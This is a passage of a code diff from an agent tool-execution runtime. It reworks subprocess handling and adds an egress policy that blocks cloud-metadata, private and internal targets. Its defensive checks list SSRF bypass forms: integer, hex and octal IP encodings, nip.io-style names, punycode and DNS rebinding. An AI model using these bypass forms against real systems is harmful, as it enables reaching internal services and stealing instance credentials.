stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - preexec_fn=os.setpgrp, - ) - stdout, stderr = proc.communicate(timeout=effective_timeout) - elapsed_ms = int((time.monotonic() - start) * 1000) - envelope["duration_ms"] = elapsed_ms - envelope["exit_code"] = proc.returncode - envelope["stderr"] = stderr - - if proc.returncode != 0: - envelope["status"] = "error" - envelope["results"] = {"returncode": proc.returncode, "stderr": stderr, "raw_output": stdout} - else: - try: - parsed = _parse_output(manifest, stdout) - envelope["results"] = parsed if isinstance(parsed, dict) else {"parsed_output": parsed} - except RuntimeError: - envelope["results"] = {"raw_output": stdout} - except subprocess.TimeoutExpired: - if proc is not None: - try: - os.killpg(os.getpgid(proc.pid), signal.SIGKILL) - except OSError: - proc.kill() - proc.wait() - elapsed_ms = int((time.monotonic() - start) * 1000) - envelope["duration_ms"] = elapsed_ms - envelope["status"] = "timeout" - envelope["exit_code"] = -1 - envelope["results"] = {"error": f"Custom executor timed out after {effective_timeout}s"} - - return envelope + return _execute_custom( + manifest, args, gate=selected, dry_run=dry_run, timeout=timeout + ) scan_id = _generate_scan_id() tool_name = manifest.tool.name effective_timeout = timeout or manifest.tool.timeout_seconds - # Build command — prefer exec array over template string. - if manifest.command.exec: - args_list = build_command_argv(manifest, args) - command = " ".join(args_list) - else: - command = build_command(manifest, args) - args_list = shlex.split(command) + def on_validated(values: Dict[str, str]) -> None: + if not dry_run: + _consult_gate(selected, manifest, values) + + # Build argv from the compiled exec form; values are never re-split. The + # same scan id backs {_scan_id}/{_output_file} and the envelope. The + # gate runs between validation and substitution. + args_list = _build_argv(manifest, args, scan_id=scan_id, on_validated=on_validated) envelope: Dict[str, Any] = { "status": "success", "scan_id": scan_id, "tool": tool_name, - "command": command, + "command": _declared_command(manifest), "duration_ms": 0, "timestamp": datetime.now(timezone.utc).isoformat(), "output_file": "", @@ -607,44 +1566,51 @@ def execute( } if dry_run: + # The human-facing dry run shows the resolved argv. + envelope["command"] = shlex.join(args_list) envelope["status"] = "dry_run" return envelope - # Ensure evidence output directory exists. - evidence_dir = os.environ.get("TOOLCLAD_EVIDENCE_DIR", os.path.join(tempfile.gettempdir(), "toolclad-evidence")) - if manifest.tool.evidence.output_dir: - out_dir = manifest.tool.evidence.output_dir.format( - evidence_dir=evidence_dir, scan_id=scan_id - ) - else: - out_dir = os.path.join(evidence_dir, f"{scan_id}-{tool_name}") - os.makedirs(out_dir, exist_ok=True) - - ext_map = {"xml": "xml", "json": "json", "csv": "csv", "text": "txt", "jsonl": "jsonl"} - out_format = manifest.output.format if manifest.output else "text" - ext = ext_map.get(out_format, "txt") - output_file = os.path.join(out_dir, f"scan.{ext}") + evidence_dir = _evidence_root() + out_dir = _output_dir(manifest, evidence_dir, scan_id) + output_file = _output_file(manifest, out_dir) envelope["output_file"] = output_file start = time.monotonic() - proc = None + work_dir = "" try: - proc = subprocess.Popen( + work_dir = _prepare_dirs(evidence_dir, out_dir, scan_id) + if os.path.lexists(output_file): + raise RuntimeError(f"refusing to run: evidence file '{output_file}' already exists") + proc = _run_process( args_list, - shell=False, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - preexec_fn=os.setpgrp, + env=child_env(), + cwd=work_dir, + timeout=effective_timeout, + limits=manifest.tool.limits, + max_bytes=_max_bytes(manifest), ) - stdout, stderr = proc.communicate(timeout=effective_timeout) - elapsed_ms = int((time.monotonic() - start) * 1000) - envelope["duration_ms"] = elapsed_ms + stdout = proc.stdout + envelope["duration_ms"] = int((time.monotonic() - start) * 1000) envelope["exit_code"] = proc.returncode - envelope["stderr"] = stderr + envelope["stderr"] = proc.stderr + if proc.truncated: + envelope["output_truncated"] = True - # Write captured stdout to evidence file. - with open(output_file, "w") as f: - f.write(stdout) + if proc.timed_out: + envelope["status"] = "timeout" + envelope["results"] = { + "error": f"Command timed out after {effective_timeout}s", + "raw_output": stdout, + } + return envelope + + # Evidence: when the tool wrote {_output_file} itself, keep its file; + # otherwise record captured (capped) stdout. Either way nothing is + # followed through a symlink or overwritten. + if os.path.islink(output_file): + raise RuntimeError(f"refusing evidence file '{output_file}': it is a symlink") + if not os.path.lexists(output_file): + _write_private_file(output_file, stdout) if manifest.tool.evidence.capture: envelope["output_hash"] = _hash_file( @@ -655,44 +1621,129 @@ def execute( envelope["status"] = "error" envelope["results"] = { "returncode": proc.returncode, - "stderr": stderr, + "stderr": proc.stderr, "raw_output": stdout, } else: - try: - parsed = _parse_output(manifest, stdout) - envelope["results"] = parsed if isinstance(parsed, dict) else {"parsed_output": parsed} - _validate_output_schema(manifest, parsed) - except RuntimeError: - envelope["results"] = {"raw_output": stdout} - - except subprocess.TimeoutExpired: - # Kill the entire process group to reap child processes. - if proc is not None: - try: - os.killpg(os.getpgid(proc.pid), signal.SIGKILL) - except OSError: - proc.kill() - proc.wait() - elapsed_ms = int((time.monotonic() - start) * 1000) - envelope["duration_ms"] = elapsed_ms - envelope["status"] = "timeout" + _apply_output(manifest, envelope, stdout) + except Exception as exc: + envelope["duration_ms"] = int((time.monotonic() - start) * 1000) + envelope["status"] = "error" envelope["exit_code"] = -1 - envelope["stderr"] = "" - envelope["results"] = { - "error": f"Command timed out after {effective_timeout}s" - } + envelope["stderr"] = str(exc) + envelope["results"] = {"error": str(exc)} + finally: + _remove_if_empty(work_dir) + + return envelope + + +def _prepare_dirs(evidence_dir: str, out_dir: str, scan_id: str) -> str: + """Create the evidence root, the output directory and the per-call + scratch directory, all mode 0700. Returns the scratch directory, which + becomes the child's working directory.""" + _make_private_dir(evidence_dir) + _make_private_dir(out_dir) + work_dir = os.path.join(evidence_dir, f"{scan_id}-work") + os.mkdir(work_dir, 0o700) + os.chmod(work_dir, 0o700) + return work_dir + + +def _remove_if_empty(path: str) -> None: + """Remove the scratch directory unless the tool left files in it (those + are evidence).""" + if not path: + return + try: + os.rmdir(path) + except OSError: + pass + + +def _execute_custom( + manifest: Manifest, + args: Dict[str, str], + *, + gate: Optional[Gate] = None, + dry_run: bool = False, + timeout: Optional[int] = None, +) -> Dict[str, Any]: + """Run the ``command.executor`` escape hatch. + + The script receives validated arguments as ``TOOLCLAD_ARG_`` plus + ``TOOLCLAD_SCAN_ID``, ``TOOLCLAD_TOOL_NAME``, ``TOOLCLAD_EVIDENCE_DIR`` + and ``TOOLCLAD_OUTPUT_DIR`` on top of the allowlisted environment; + secrets are never passed. + """ + validated_args, _absent = _validate_call_args(manifest, args, False) + if not dry_run: + _consult_gate(gate or default_gate, manifest, validated_args) + + scan_id = _generate_scan_id() + effective_timeout = timeout or manifest.tool.timeout_seconds + evidence_dir = _evidence_root() + out_dir = _output_dir(manifest, evidence_dir, scan_id) + + extra = {f"TOOLCLAD_ARG_{k.upper()}": str(v) for k, v in validated_args.items()} + extra["TOOLCLAD_SCAN_ID"] = scan_id + extra["TOOLCLAD_TOOL_NAME"] = manifest.tool.name + extra["TOOLCLAD_EVIDENCE_DIR"] = evidence_dir + extra["TOOLCLAD_OUTPUT_DIR"] = out_dir + + envelope: Dict[str, Any] = { + "status": "success", + "scan_id": scan_id, + "tool": manifest.tool.name, + "command": f"{manifest.command.executor} (custom executor)", + "duration_ms": 0, + "timestamp": datetime.now(timezone.utc).isoformat(), + "output_file": "", + "output_hash": "", + "results": {}, + } + + if dry_run: + envelope["status"] = "dry_run" + return envelope + + start = time.monotonic() + work_dir = "" + try: + work_dir = _prepare_dirs(evidence_dir, out_dir, scan_id) + proc = _run_process( + [manifest.command.executor], + env=child_env(extra), + cwd=work_dir, + timeout=effective_timeout, + limits=manifest.tool.limits, + max_bytes=_max_bytes(manifest), + ) + returncode, stdout, stderr = proc.returncode, proc.stdout, proc.stderr + envelope["duration_ms"] = int((time.monotonic() - start) * 1000) + envelope["exit_code"] = returncode + envelope["stderr"] = stderr + if proc.truncated: + envelope["output_truncated"] = True + + if proc.timed_out: + envelope["status"] = "timeout" + envelope["results"] = { + "error": f"Custom executor timed out after {effective_timeout}s", + "raw_output": stdout, + } + elif returncode != 0: + envelope["status"] = "error" + envelope["results"] = {"returncode": returncode, "stderr": stderr, "raw_output": stdout} + else: + _apply_output(manifest, envelope, stdout) except Exception as exc: - if proc is not None: - try: - os.killpg(os.getpgid(proc.pid), signal.SIGKILL) - except OSError: - pass - elapsed_ms = int((time.monotonic() - start) * 1000) - envelope["duration_ms"] = elapsed_ms + envelope["duration_ms"] = int((time.monotonic() - start) * 1000) envelope["status"] = "error" envelope["exit_code"] = -1 envelope["stderr"] = str(exc) envelope["results"] = {"error": str(exc)} + finally: + _remove_if_empty(work_dir) return envelope diff --git a/python/toolclad/hostpolicy.py b/python/toolclad/hostpolicy.py new file mode 100644 index 0000000..402f953 --- /dev/null +++ b/python/toolclad/hostpolicy.py @@ -0,0 +1,484 @@ +"""Host / IP egress policy shared by every argument type that can carry a +literal address: ``scope_target``, ``url``, ``ip_address`` and ``cidr``. + +The range table in this module is the single source of truth for the Python +runtime and mirrors, entry for entry, the table in the Rust, Go and +JavaScript runtimes so the four can be compared side by side. There are two +tiers: + +* **Always blocked**, with or without ``block_internal``: the link-local + ranges. IPv4 link-local contains the cloud-metadata endpoint + 169.254.169.254, and the blast radius of reaching it (instance-credential + theft) is maximal. No agent tool has a legitimate reason to target these. +* **Blocked when** ``block_internal = true``: loopback, private, shared + (carrier-grade NAT), unspecified, broadcast, documentation, benchmarking + and reserved space, plus the IPv6 equivalents. + +IPv4-mapped IPv6 addresses (``::ffff:a.b.c.d``) are unwrapped before the +table is consulted, so the IPv6 spelling of any IPv4 range is caught. + +The parser helpers at the bottom (``parse_canonical_ip``, +``parse_canonical_cidr``, ``looks_like_ip_literal``, ``tld_not_all_numeric``, +``has_punycode_label``) sit in front of the policy: a value the resolver +would expand (``2130706433``, ``0x7f000001``, ``0177.0.0.1``, ``127.1``) +must be refused outright rather than passed through as a "hostname" the +table never sees. The stdlib ``ipaddress`` module is only handed text that +has already passed the canonical-form check, because on its own it accepts +shapes this policy must not: a zone id (``fe80::1%eth0``), an integer, and +host bits in a network when ``strict=False``. + +A CIDR value is tested for **overlap** with every blocked prefix +(``enforce_cidr_policy``), not just its base address, so a supernet such as +``8.0.0.0/5`` is refused for containing ``10.0.0.0/8``. + +The hostname rules (``enforce_hostname_policy``) close the ways a target can +reach a blocked address without being written as a literal: + +* the internal-name denylist (``localhost``, ``*.local``, ``*.internal``, + ...) is applied unconditionally; +* an IP literal embedded in a name (``127.0.0.1.nip.io``, ``10-0-0-1.nip.io``) + is treated as that address, so wildcard-DNS services are not a bypass; +* under ``block_internal`` a name is resolved and **every** answer is put + through the range table; a name that cannot be resolved cannot be shown + to be public and is refused. +""" + +from __future__ import annotations + +import ipaddress +import re +import socket +from typing import List, NamedTuple, Optional, Sequence, Tuple, Union + +IPAddress = Union[ipaddress.IPv4Address, ipaddress.IPv6Address] +IPNetwork = Union[ipaddress.IPv4Network, ipaddress.IPv6Network] + + +class BlockedRange(NamedTuple): + """One blocked prefix and the reason reported when a target falls in it.""" + + net: IPNetwork + reason: str + + +def _r(cidr: str, reason: str) -> BlockedRange: + return BlockedRange(ipaddress.ip_network(cidr, strict=True), reason) + + +# IPv4 ranges blocked regardless of `block_internal`. +ALWAYS_BLOCKED_V4: Tuple[BlockedRange, ...] = ( + _r( + "169.254.0.0/16", + "is a link-local / cloud-metadata address (169.254.0.0/16) — always blocked", + ), +) + +# IPv6 ranges blocked regardless of `block_internal`. +ALWAYS_BLOCKED_V6: Tuple[BlockedRange, ...] = ( + _r("fe80::/10", "is an IPv6 link-local address (fe80::/10) — always blocked"), +) + +# IPv4 ranges blocked when `block_internal = true`. Entries are tested in +# order, so the broadcast address (which also lies inside 240.0.0.0/4) is +# reported as broadcast, not as reserved. +BLOCK_INTERNAL_V4: Tuple[BlockedRange, ...] = ( + _r("127.0.0.0/8", "resolves to a loopback address"), + _r("10.0.0.0/8", "resolves to a private address"), + _r("172.16.0.0/12", "resolves to a private address"), + _r("192.168.0.0/16", "resolves to a private address"), + _r( + "100.64.0.0/10", + "resolves to a shared / carrier-grade NAT address (100.64.0.0/10)", + ), + _r("0.0.0.0/8", "is in the unspecified range (0.0.0.0/8)"), + _r("255.255.255.255/32", "is the broadcast address"), + _r("192.0.2.0/24", "is a documentation-range address"), + _r("198.51.100.0/24", "is a documentation-range address"), + _r("203.0.113.0/24", "is a documentation-range address"), + _r("198.18.0.0/15", "is a benchmarking-range address (198.18.0.0/15)"), + _r("240.0.0.0/4", "is a reserved address (240.0.0.0/4)"), +) + +# IPv6 ranges blocked when `block_internal = true`. Link-local appears here +# as well as in the always-blocked tier so the table matches the policy as +# written; in practice the always-blocked check fires first. +BLOCK_INTERNAL_V6: Tuple[BlockedRange, ...] = ( + _r("::1/128", "resolves to the IPv6 loopback ::1"), + _r("::/128", "is the IPv6 unspecified address ::"), + _r("fc00::/7", "is an IPv6 unique-local address (fc00::/7)"), + _r("fe80::/10", "is an IPv6 link-local address (fe80::/10)"), + _r("2001:db8::/32", "is an IPv6 documentation-range address (2001:db8::/32)"), +) + + +def _first_match(table: Sequence[BlockedRange], ip: IPAddress) -> Optional[str]: + """The reason of the first table entry containing ``ip``, if any.""" + for entry in table: + if ip in entry.net: + return entry.reason + return None + + +def _unwrap_v4(ip: IPAddress) -> Optional[ipaddress.IPv4Address]: + """The IPv4 view of ``ip``: the address itself, or the embedded address + of an IPv4-mapped IPv6 literal (``::ffff:a.b.c.d``). ``None`` for every + other IPv6.""" + if isinstance(ip, ipaddress.IPv4Address): + return ip + return ip.ipv4_mapped + + +def always_blocked_ip_reason(ip: IPAddress) -> Optional[str]: + """Reason if ``ip`` must be blocked regardless of policy: link-local + (169.254.0.0/16, fe80::/10), which includes the cloud-metadata endpoint + 169.254.169.254. IPv4-mapped IPv6 is unwrapped first.""" + v4 = _unwrap_v4(ip) + if v4 is not None: + return _first_match(ALWAYS_BLOCKED_V4, v4) + return _first_match(ALWAYS_BLOCKED_V6, ip) + + +def non_public_ip_reason(ip: IPAddress) -> Optional[str]: + """Reason if ``ip`` is a non-public address that the opt-in + ``block_internal`` policy blocks: loopback, private, shared, + unspecified, broadcast, documentation, benchmarking, reserved, and the + IPv6 equivalents. IPv4-mapped IPv6 is unwrapped so ``::ffff:127.0.0.1`` + is caught.""" + v4 = _unwrap_v4(ip) + if v4 is not None: + return _first_match(BLOCK_INTERNAL_V4, v4) + return _first_match(BLOCK_INTERNAL_V6, ip) + + +def enforce_ip_policy(name: str, ip: IPAddress, block_internal: bool) -> None: + """Enforce the egress policy for a literal (or resolved) target IP on + behalf of argument ``name``: link-local / metadata is always blocked; + the remaining non-public ranges are blocked only under the opt-in + ``block_internal`` policy. Raises ``ValidationError``.""" + # Deferred: toolclad.validator imports this module at load. + from toolclad.validator import ValidationError + + reason = always_blocked_ip_reason(ip) + if reason is not None: + raise ValidationError(f"argument '{name}' target {reason}") + if block_internal: + reason = non_public_ip_reason(ip) + if reason is not None: + raise ValidationError( + f"argument '{name}' target {reason} (blocked by block_internal policy)" + ) + + +# --------------------------------------------------------------------------- +# CIDR ranges: overlap with every blocked prefix +# --------------------------------------------------------------------------- + +def _mapped_v6(entry: BlockedRange) -> BlockedRange: + """The IPv4-mapped IPv6 image of an IPv4 blocked range: ``a.b.c.d/n`` + becomes ``::ffff:a.b.c.d/(96+n)``. An IPv6 prefix that covers mapped + IPv4 space (``::ffff:10.0.0.0/104``, or anything shorter than /96 that + contains ``::ffff:0:0/96``) is tested against these images, so the + IPv4 table cannot be reached through its IPv6 spelling.""" + mapped = ipaddress.IPv6Network( + (ipaddress.IPv6Address(f"::ffff:{entry.net.network_address}"), 96 + entry.net.prefixlen) + ) + return BlockedRange(mapped, entry.reason) + + +_ALWAYS_BLOCKED_V6_RANGES: Tuple[BlockedRange, ...] = ALWAYS_BLOCKED_V6 + tuple( + _mapped_v6(e) for e in ALWAYS_BLOCKED_V4 +) +_BLOCK_INTERNAL_V6_RANGES: Tuple[BlockedRange, ...] = BLOCK_INTERNAL_V6 + tuple( + _mapped_v6(e) for e in BLOCK_INTERNAL_V4 +) + + +def _first_overlap(table: Sequence[BlockedRange], net: IPNetwork) -> Optional[str]: + """The reason of the first table entry that overlaps ``net``. Two + prefixes overlap when either contains the other's network address, + which is exactly ``ipaddress``'s ``overlaps``.""" + for entry in table: + if entry.net.overlaps(net): + return entry.reason + return None + + +def always_blocked_cidr_reason(net: IPNetwork) -> Optional[str]: + """Reason if any address in ``net`` is blocked regardless of policy.""" + if isinstance(net, ipaddress.IPv4Network): + return _first_overlap(ALWAYS_BLOCKED_V4, net) + return _first_overlap(_ALWAYS_BLOCKED_V6_RANGES, net) + + +def non_public_cidr_reason(net: IPNetwork) -> Optional[str]: + """Reason if any address in ``net`` falls in a range the opt-in + ``block_internal`` policy blocks.""" + if isinstance(net, ipaddress.IPv4Network): + return _first_overlap(BLOCK_INTERNAL_V4, net) + return _first_overlap(_BLOCK_INTERNAL_V6_RANGES, net) + + +def enforce_cidr_policy( + name: str, base: IPAddress, prefix_len: int, block_internal: bool +) -> None: + """Enforce the egress policy for a CIDR target on behalf of argument + ``name``. The whole range is tested for overlap with each blocked + prefix, not just the base address: ``8.0.0.0/5`` has a public base and + contains all of ``10.0.0.0/8``. Host bits in ``base`` are masked off + first (the value is still passed through as written). ``0.0.0.0/0`` + and ``::/0`` therefore always fail, since they contain link-local + space. Raises ``ValidationError``.""" + # Deferred: toolclad.validator imports this module at load. + from toolclad.validator import ValidationError + + net = ipaddress.ip_network((base, prefix_len), strict=False) + reason = always_blocked_cidr_reason(net) + if reason is not None: + raise ValidationError(f"argument '{name}' target {reason}") + if block_internal: + reason = non_public_cidr_reason(net) + if reason is not None: + raise ValidationError( + f"argument '{name}' target {reason} (blocked by block_internal policy)" + ) + + +# --------------------------------------------------------------------------- +# Hostnames: internal-name denylist, embedded IP literals, DNS resolution +# --------------------------------------------------------------------------- + +# Names that can only ever mean "this machine or this network". Compared +# case-insensitively, after one trailing dot is dropped. ``*.internal`` +# already covers the GCE metadata name; it is listed exactly as well so the +# table reads the same as the other runtimes. +INTERNAL_NAMES: Tuple[str, ...] = ("localhost", "metadata.google.internal") +INTERNAL_NAME_SUFFIXES: Tuple[str, ...] = ( + ".localhost", ".local", ".internal", ".home.arpa", ".lan", ".intranet", + ".corp", ".private", +) +INTERNAL_NAME_REASON = "resolves to an internal name — always blocked" + +# A dashed quad as used by wildcard-DNS services: four groups of 1-3 digits +# separated by ``-``. The 0-255 bound is checked after the match. +_DASHED_QUAD_RE = re.compile(r"[0-9]{1,3}(?:-[0-9]{1,3}){3}") + + +def internal_name_reason(host: str) -> Optional[str]: + """Reason if ``host`` is on the internal-name denylist: exactly + ``localhost`` or ``metadata.google.internal``, or any name under + ``.localhost``, ``.local``, ``.internal``, ``.home.arpa``, ``.lan``, + ``.intranet``, ``.corp`` or ``.private``. Applied with or without + ``block_internal``: such a name never denotes a public host, whatever + it resolves to. Case-insensitive; one trailing dot is ignored (the + validators refuse the trailing-dot form before calling this, so the + strip only matters to a direct caller).""" + normalized = host.lower() + if normalized.endswith("."): + normalized = normalized[:-1] + if normalized in INTERNAL_NAMES or normalized.endswith(INTERNAL_NAME_SUFFIXES): + return INTERNAL_NAME_REASON + return None + + +def embedded_ip_literal(host: str) -> Optional[ipaddress.IPv4Address]: + """The IPv4 address a wildcard-DNS name spells, if any: the first four + dot-separated labels as a canonical dotted quad (``127.0.0.1.nip.io``), + or the first label as a dashed quad (``10-0-0-1.nip.io``). Services such + as nip.io, sslip.io and xip.io resolve these names to exactly that + address, so the range policy must see the address, not the name. A name + whose shape does not match returns ``None``.""" + labels = host.split(".") + if len(labels) >= 4: + dotted = _parse_canonical_ipv4(".".join(labels[:4])) + if dotted is not None: + return dotted + first = labels[0] + if _DASHED_QUAD_RE.fullmatch(first) is not None: + groups = [int(g) for g in first.split("-")] + if all(g <= 255 for g in groups): + return ipaddress.IPv4Address(".".join(str(g) for g in groups)) + return None + + +def resolve_host_addresses(host: str) -> List[IPAddress]: + """Every A/AAAA answer the system resolver returns for ``host``, in + answer order and de-duplicated, via ``socket.getaddrinfo(host, None)``. + An IPv6 zone id is dropped. Raises ``OSError`` (``socket.gaierror`` is + a subclass) when the name does not resolve; the caller fails closed. + Module-level so an embedding can substitute its own resolver.""" + answers: List[IPAddress] = [] + for _family, _socktype, _proto, _canonical, sockaddr in socket.getaddrinfo(host, None): + text = str(sockaddr[0]).split("%", 1)[0] + try: + ip = ipaddress.ip_address(text) + except ValueError: + continue + if ip not in answers: + answers.append(ip) + return answers + + +def enforce_resolved_host_policy(name: str, host: str) -> None: + """Resolve ``host`` and put **every** answer through the range table on + behalf of argument ``name`` (``block_internal`` is implied: this is only + called under it). A resolver error or an empty answer set is a refusal, + not a pass: a name that cannot be resolved cannot be shown to be public. + This is the control that closes DNS rebinding and attacker-controlled + domains that point at internal space. Raises ``ValidationError``.""" + # Deferred: toolclad.validator imports this module at load. + from toolclad.validator import ValidationError + + try: + answers = resolve_host_addresses(host) + except OSError: + answers = [] + if not answers: + raise ValidationError( + f"argument '{name}' could not resolve host '{host}' to verify it is " + "public (block_internal)" + ) + # Resolution seam. The addresses verified here are not necessarily the + # addresses the tool connects to: the binary resolves the name again + # when it runs, and a rebinding resolver can answer differently the + # second time. A runtime that wants to close that window should pin the + # verified address into the invocation (``curl --resolve host:443:ip``, + # or hand nmap the literal) instead of passing the name through. That + # pinning is a runtime concern and is not done here. + for ip in answers: + enforce_ip_policy(name, ip, True) + + +def enforce_hostname_policy(name: str, host: str, block_internal: bool) -> None: + """The hostname half of the policy, for a structurally valid name that + is not an IP literal, on behalf of argument ``name``. In order: + + 1. the internal-name denylist, unconditionally; + 2. an embedded IP literal is treated as that address under the range + policy — a blocked address is refused with the normal policy + message, an allowed one is accepted as is (the shape alone is never + a refusal, and no resolution is attempted for it); + 3. under ``block_internal``, the name is resolved and every answer is + checked; resolution failure is a refusal. + + Raises ``ValidationError``. + """ + # Deferred: toolclad.validator imports this module at load. + from toolclad.validator import ValidationError + + reason = internal_name_reason(host) + if reason is not None: + raise ValidationError(f"argument '{name}' target {reason}") + embedded = embedded_ip_literal(host) + if embedded is not None: + enforce_ip_policy(name, embedded, block_internal) + return + if block_internal: + enforce_resolved_host_policy(name, host) + + +# --------------------------------------------------------------------------- +# Canonical-form parsers that sit in front of the policy +# --------------------------------------------------------------------------- + +_ASCII_DIGITS_RE = re.compile(r"[0-9]+") + +# Four decimal octets of 1-3 digits with no leading zero (a bare `0` is the +# only octet that may start with one). The 0-255 bound is checked after the +# match because a regex alternation for it would obscure the shape. +_IPV4_OCTET = r"(?:0|[1-9][0-9]{0,2})" +_CANONICAL_IPV4_RE = re.compile(rf"{_IPV4_OCTET}(?:\.{_IPV4_OCTET}){{3}}") + +# A CIDR prefix length: decimal digits, no sign, no leading zero. +_PREFIX_LEN_RE = re.compile(r"0|[1-9][0-9]{0,2}") + + +def _all_ascii_digits(s: str) -> bool: + return _ASCII_DIGITS_RE.fullmatch(s) is not None + + +def _parse_canonical_ipv4(val: str) -> Optional[ipaddress.IPv4Address]: + if _CANONICAL_IPV4_RE.fullmatch(val) is None: + return None + if any(int(octet) > 255 for octet in val.split(".")): + return None + return ipaddress.IPv4Address(val) + + +def _parse_canonical_ipv6(val: str) -> Optional[ipaddress.IPv6Address]: + # Standard textual IPv6 only: hex groups, at most one `::`, and an + # optional trailing dotted-quad that must itself be canonical. No zone + # id, brackets or prefix length. + if ":" not in val or not val.isascii() or any(c in val for c in "%[]/"): + return None + if "." in val: + embedded = val.rsplit(":", 1)[1] + if _parse_canonical_ipv4(embedded) is None: + return None + try: + return ipaddress.IPv6Address(val) + except ValueError: + return None + + +def parse_canonical_ip(val: str) -> Optional[IPAddress]: + """Parse only canonical IP text: dotted-quad IPv4 with decimal octets + and no leading zeros, or standard IPv6 without a zone id. Integer + (``2130706433``), hex (``0x7f000001``), octal (``0177.0.0.1``) and + shorthand (``127.1``) encodings — all of which a libc resolver would + expand to 127.0.0.1 — return ``None`` and are caught by + ``looks_like_ip_literal`` instead.""" + v4 = _parse_canonical_ipv4(val) + if v4 is not None: + return v4 + return _parse_canonical_ipv6(val) + + +def parse_canonical_cidr(val: str) -> Optional[Tuple[IPAddress, int]]: + """Parse only canonical CIDR text: a canonical address (see + ``parse_canonical_ip``) followed by ``/`` and a decimal prefix length in + range for that address family. Returns ``(base_address, prefix_len)`` + with the base address exactly as written (host bits are permitted, as in + the other runtimes); ``enforce_cidr_policy`` masks them off and tests the + whole range for overlap with each blocked prefix.""" + base_text, sep, prefix_text = val.partition("/") + if not sep: + return None + base = parse_canonical_ip(base_text) + if base is None or _PREFIX_LEN_RE.fullmatch(prefix_text) is None: + return None + prefix_len = int(prefix_text) + if prefix_len > base.max_prefixlen: + return None + return base, prefix_len + + +def looks_like_ip_literal(val: str) -> bool: + """True if ``val`` is an attempt at an IP literal in a non-canonical + encoding: a ``0x…`` hex form, or every dot-separated label is all ASCII + digits (integer / dotted-decimal / octal / shorthand). A libc resolver + would expand any of these to an address, so they must never pass as a + hostname. Canonical IPs are handled by ``parse_canonical_ip`` first and + never reach here.""" + if val[:2].lower() == "0x": + return True + return all(label != "" and _all_ascii_digits(label) for label in val.split(".")) + + +def tld_not_all_numeric(val: str) -> bool: + """True if the rightmost DNS label is non-empty and not entirely + numeric. A real TLD is never all digits (RFC 3696 §2), so this rejects + e.g. ``example.123``, dotted-decimal IPs that slipped past the literal + parser, and a trailing-dot form whose last label is empty.""" + tld = val.rsplit(".", 1)[-1] + return tld != "" and not _all_ascii_digits(tld) + + +def has_punycode_label(host: str) -> bool: + """True if any DNS label in ``host`` is an A-label (``xn--…``). + Comparison is case-insensitive per IDNA: ``XN--``, ``Xn--``, ``xN--`` + all count. Punycode is rejected everywhere because a homoglyph domain + supplied in its ASCII form would otherwise satisfy an ASCII-only + hostname check.""" + return any( + len(label) >= 4 and label[:4].lower() == "xn--" for label in host.split(".") + ) diff --git a/python/toolclad/manifest.py b/python/toolclad/manifest.py index 11df386..88e677e 100644 --- a/python/toolclad/manifest.py +++ b/python/toolclad/manifest.py @@ -5,7 +5,7 @@ import sys from dataclasses import dataclass, field from pathlib import Path -from typing import Any, Dict, List, Optional +from typing import Any, Dict, FrozenSet, Iterator, List, Mapping, Optional, Tuple if sys.version_info >= (3, 11): import tomllib @@ -28,6 +28,21 @@ class EvidenceDef: output_dir: str = "" capture: bool = False hash: str = "sha256" + screenshots: bool = False + + +@dataclass +class LimitsDef: + """Resource limits for the spawned process from [tool.limits]. + + Every field is optional; ``None`` means no limit is requested. + """ + + nproc: Optional[int] = None + nofile: Optional[int] = None + fsize_bytes: Optional[int] = None + address_space_bytes: Optional[int] = None + cpu_seconds: Optional[int] = None @dataclass @@ -46,8 +61,17 @@ class ToolMeta: # required. Useful for in-process embeddings where ToolClad is the # typed-argument fence and dispatch happens elsewhere. dispatch: str = "exec" + # Backend mode: "oneshot" | "session" | "browser". Advisory: when the + # manifest omits it, the loader derives it from which backend section is + # present. + mode: str = "oneshot" + # The tool reaches the network. Declaring it makes the egress lint apply. + network_egress: bool = False + # Permit an interpreter (sh, python, ...) as argv[0]. + allow_interpreter: bool = False cedar: CedarDef = field(default_factory=CedarDef) evidence: EvidenceDef = field(default_factory=EvidenceDef) + limits: LimitsDef = field(default_factory=LimitsDef) @dataclass @@ -71,6 +95,16 @@ class ArgDef: sanitize: List[str] = field(default_factory=list) schemes: List[str] = field(default_factory=list) scope_check: bool = False + # Refuse internal, private and link-local targets (loopback, RFC 1918, + # cloud metadata, ...) for network-typed arguments. + block_internal: bool = False + # Permit a value starting with '-' or '+'. Off by default so a value can + # never be read as an option by the invoked binary. + allow_leading_dash: bool = False + # Permit whitespace inside a value. Honored only when the manifest + # declared `exec` directly (CommandDef.exec_was_declared); a compiled + # template stays strict. + allow_whitespace: bool = False @dataclass @@ -80,6 +114,9 @@ class ConditionalDef: name: str = "" when: str = "" template: str = "" + # `template` tokenized at load; placeholders are substituted per token at + # resolve time and the result is spliced in for `{_}`. + tokens: List[str] = field(default_factory=list) @dataclass @@ -88,9 +125,11 @@ class CommandDef: Supports two invocation forms: - ``exec = ["cmd", "arg1", "{placeholder}"]`` — preferred, shell-free array execution - - ``template = "cmd arg1 {placeholder}"`` — legacy string template (split via shlex) + - ``template = "cmd arg1 {placeholder}"`` — deprecated; tokenized at load + into ``exec`` (the manifest text is split, substituted values never are) - When both are present, ``exec`` takes precedence. + When both are present, ``exec`` takes precedence and ``template`` is kept + for display only. """ template: str = "" @@ -99,6 +138,12 @@ class CommandDef: defaults: Dict[str, Any] = field(default_factory=dict) mappings: Dict[str, Dict[str, str]] = field(default_factory=dict) conditionals: Dict[str, ConditionalDef] = field(default_factory=dict) + # Only "--" is accepted. When set, a literal "--" is inserted once before + # the first argv element produced from a sole declared-arg placeholder. + end_of_options: str = "" + # True when the manifest declared `exec` directly. A template compiled to + # exec leaves this False, which keeps `allow_whitespace` disabled. + exec_was_declared: bool = False @dataclass @@ -109,6 +154,8 @@ class OutputDef: parser: str = "" envelope: bool = True schema: Dict[str, Any] = field(default_factory=dict) + # Upper bound on captured stdout, in bytes. + max_bytes: int = 8_388_608 @dataclass @@ -153,6 +200,15 @@ class SessionCommandDef: args: Dict[str, ArgDef] = field(default_factory=dict) +@dataclass +class SessionChildDetectionDef: + """Detection of a nested interactive child from [session.child_detection].""" + + pattern: str = "" + type: str = "" + manifest: str = "" + + @dataclass class SessionDef: """Session mode definition from [session] section.""" @@ -165,6 +221,7 @@ class SessionDef: max_interactions: int = 100 interaction: Optional[SessionInteractionDef] = None commands: Dict[str, SessionCommandDef] = field(default_factory=dict) + child_detection: Optional[SessionChildDetectionDef] = None @dataclass @@ -193,6 